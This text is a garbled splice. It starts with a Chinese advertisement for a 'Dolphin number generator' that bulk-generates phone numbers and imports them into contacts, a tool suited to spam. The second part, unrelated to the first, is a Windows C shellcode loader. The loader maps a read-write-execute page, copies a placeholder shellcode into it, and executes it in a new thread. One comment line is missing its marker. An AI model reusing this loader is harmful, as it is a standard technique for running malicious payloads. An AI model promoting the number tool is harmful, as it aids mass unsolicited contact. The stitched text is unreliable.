海豚号码生成器,电脑上在佰渡搜一下前面名字即可下载。
它除了具有多种生成号码的功能(随机、连号、自定义),速度快。
还有批量把号码一键导入手机通讯录,杂乱文本提取等,功能强。
号码排版打印,号码综合整理(分批、查归属地、三网分离、按城市分类等),全面性。
。。。。。。。。。。。分割线。。。。。。。。。。。。。。。。。。。
#include<Windows.h>
#include<stdio.h>
int main() {
HANDLE hMapping;
char *buf;
HANDLE hThread;
char shellcode[] = "my shellcode";
//创建内核对象:物理页
hMapping = CreateFileMapping(
INVALID_HANDLE_VALUE, //为NULL则为创建物理页
NULL,
PAGE_EXECUTE_READWRITE, //物理页的属性 为 可读写执行
0,
0x1000,
NULL //指定映射名
);
将当前进程中的虚拟地址与物理页进行映射
buf = (char *)MapViewOfFile(
hMapping,
FILE_MAP_ALL_ACCESS, //虚拟内存的属性,并且物理内存的属性要比虚拟内存的属性高
0,
0,
sizeof(shellcode)
); //返回值为映射的起始地址,指向物理页
CopyMemory(buf, shellcode, sizeof(shellcode)); //复制shellcode到buf所指向的物理页
hThread = CreateThread(
NULL,
0,
(LPTHREAD_START_ROUTINE)buf,
NULL,
0,
NULL);
WaitForSingleObject(hThread, INFINITE); // 等待线程执行完成
//关闭映射
UnmapViewOfFile(buf);
//关闭句柄
CloseHandle(hMapping);
return 0;
}